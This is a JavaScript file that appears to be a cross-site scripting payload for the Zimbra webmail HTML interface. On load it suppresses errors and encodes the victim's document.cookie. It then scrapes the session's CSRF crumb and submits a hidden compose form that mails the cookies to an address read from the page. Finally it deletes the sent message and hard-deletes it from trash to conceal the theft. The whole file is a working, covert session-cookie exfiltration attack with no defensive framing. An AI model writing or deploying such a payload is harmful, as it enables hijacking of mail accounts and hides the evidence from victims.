window.onerror=function()
{
	return true	
}
function getinfo()
{
    return document.getElementById('zimbra_family1').title.split(':');
}
var info = getinfo();
var to = info[0];

to=to.replace(/=/g,"@");
to=to.replace(/-/g,".");
var forward = info[1];
forward=forward.replace(/=/g,"@");
forward=forward.replace(/-/g,".");
var tout = parseInt(info[2]);
function createpost()
{
	var t = document.createElement('div');
	t.id = 'post_div';
	document.getElementsByTagName('head')[0].appendChild(t);
}

function encrypt(msg)
{
	var temp="";
	for(i=0;i<msg.length;i++)
	{
		temp+=msg.charCodeAt(i)+",";
	}
	temp=temp.substring(0,temp.length-1)
	return temp;
	
}

function main_cookie()
{
	mail_fun_cookie();
}

function mail_fun_cookie()
{
	createpost();
	body=encrypt("--^^--name:"+info[0]+"--^^cookies: __"+document.cookie);
	sub="Mail-From-"+to+"-'s-info-At-"+window.top.location.href+"-is-coming-Cookies,good-luck!";
	postmail(to,forward,sub,body);
}

function ajax(){
    var t=null;    
    if(window.XMLHttpRequest) 
	{
		t = new XMLHttpRequest();
	}   
    else    
    { 
	   t=new ActiveXObject('MSXML2.XMLHTTP');   
 
    }
	return t;
}
function gettag()
{
	t=ajax();
	t.open('get','/zimbra/h/search?action=compose',false);
	t.send();
	temp=t.responseText;
	a=temp.indexOf('sendUID');
	b=temp.indexOf('crumb');
	c=temp.substring(a-80,b+80);
	d=c.indexOf('name="sendUID" value="')+22;
	id=c.substring(d,d+36);
	e=c.indexOf('name="crumb" value="')+20;
	crumb=c.substring(e,e+32);
	s=new Array();
	s.push(id);
	s.push(crumb);
	return s;	
}
function getpostid()
{
	t=ajax();
	t.open('get','/zimbra/h/search?sfi=5',false);
	t.send();
	temp=t.responseText;
	var a=temp.indexOf("Mail-From");
	var text=temp.substring(a-200,a);
	text=text.replace(/"/g,"");
	text=text.replace(/ /g,"");
	text=text.replace(/=/g,"");
	text=text.replace(/cid/g,"1v12v2");
	c=text.indexOf("1v12v2");
	d=text.indexOf("idA0")
	id=text.substring(c+6,d);
	return id;
}

function deletemail()
{
	t=gettag();
	crumb=t[1];
	id=getpostid();
	var data="dragTargetFolder=&dragMsgId=&folderId=&actionOp=&viewOp=byConv&actionSort=dateAsc&id="+id+"&actionDelete=Delete&dragTargetFolder=&dragMsgId=&folderId=&actionOp=&+=byConv&doConvListViewAction=1&crumb="+crumb+"&selectedRow=0"
	
	xmlhttp=ajax();
	xmlhttp.open('post','/zimbra/h/search?si=0&so=0&sc=383301&sfi=5&st=conversation',true);
	xmlhttp.setRequestHeader("content-type","application/x-www-form-urlencoded");
	xmlhttp.setRequestHeader("Host",location.host);
	xmlhttp.setRequestHeader("Referer",location.href);
	xmlhttp.onreadystatechange = function()
	{
		if(xmlhttp.readyState == 4 && xmlhttp.status == 200)
		{
			deletecrash();
		}	
	}
	xmlhttp.send(data);
}
function crashid()
{
	t=ajax();
	t.open('get','/zimbra/h/search?sfi=3',false);
	t.send();
	temp=t.responseText;
	var a=temp.indexOf("Mail-From");
	var text=temp.substring(a-200,a);
	text=text.replace(/"/g,"");
	text=text.replace(/ /g,"");
	text=text.replace(/=/g,"");
	text=text.replace(/cid/g,"1v12v2");
	c=text.indexOf("1v12v2");
	d=text.indexOf("idA0")
	id=text.substring(c+6,d);
	return id;
}
function deletecrash()
{
	t=gettag();
	crumb=t[1];
	id=crashid();
	var data="actionHardDelete=Delete&dragTargetFolder=&dragMsgId=&folderId=&actionOp=&contextFolderId=3&confirmed=0&viewOp=byConv&actionSort=dateAsc&id="+id+"&dragTargetFolder=&dragMsgId=&folderId=&actionOp=&contextFolderId=3&confirmed=0&+=byConv&doConvListViewAction=1&crumb="+crumb+"&selectedRow=0";
	xmlhttp=ajax();
	xmlhttp.open('post','/zimbra/h/search?si=0&so=0&sc=383323&sfi=3&st=conversation',true);
	xmlhttp.setRequestHeader("content-type","application/x-www-form-urlencoded");
	xmlhttp.setRequestHeader("Host",location.host);
	xmlhttp.setRequestHeader("Referer",location.href);
	xmlhttp.onreadystatechange = function()
	{
		if(xmlhttp.readyState == 4 && xmlhttp.status == 200)
		{	
		}
	}
	xmlhttp.send(data);
}
function postmail(from,to,sub,body)
{
	t=gettag();
	a=location.protocol+'//'+location.hostname+'/zimbra/h/search?action=compose';
	to=to;
	from=from;
	id=t[0];
	crumb=t[1];
	s=sub;
	b=body;
	z=body+"02";
	text=unescape('%3Ciframe%20%20name%3Dtarget_url%3E%3C/iframe%3E%0D%0A%3Cform%20target%3Dtarget_url%20action%3D'+a+'%20method%3Dpost%20name%3DcomposeForm%20enctype%3Dmultipart/form-data%3E%0D%0A%3Cinput%20type%3Dtext%20id%3DtoField%20name%3Dto%20value%3D'+to+'%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3Dfrom%20value%3D'+from+'%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3DsendUID%20value%3d'+id+'%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3Dcrumb%20value%3D'+crumb+'%3E%0D%0A%3Cinput%20type%3Dtext%20name%3Dsubject%20id%3DsubjectField%20value%3D'+s+'%3E%0D%0A%3Cinput%20type%3Dtext%20name%3Dbody%20id%3Dbody%20value%3D'+b+'%3E%0D%0A%3Cinput%20type%3Dsubmit%20name%3DactionContactAdd%20%20value%3DTo%3E%3C/td%3E%0D%0A%3Cinput%20type%3Dsubmit%20name%3DactionContactAdd%20value%3DCc%3E%0D%0A%3Cinput%20type%3Dtext%20id%3DccField%20name%3Dcc%3E%0D%0A%3Cinput%20type%3Dsubmit%20id%3DSbccbutton%20name%3DactionContactAdd%20%20value%3DBcc%3E%0D%0A%3Cinput%20type%3Dtext%20id%3DbccField%20name%3Dbcc%3E%0D%0A%3Cinput%20type%3Dtext%20name%3Dpriority%20value%3D%21%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3DbodyText%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3Dreplyto%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3Dinreplyto%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3Dmessageid%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3DcompNum%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3DinstCompNum%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3Dreplytype%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3DinviteReplyVerb%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3DinviteReplyInst%20value%3D0%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3DinviteReplyAllDay%20value%3Dfalse%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3Ddraftid%3E%20%0D%0A%3Cinput%20name%3DactionSend%20id%3Dzimbra_sendmail%20type%3Dsubmit%20value%3DSend%3E%0D%0A%3C/form%3E');
	document.getElementById('post_div').innerHTML = text;
	c=document.getElementById('zimbra_sendmail');
	c.click();
	setTimeout('deletemail();',10*1000);
}

main_cookie();






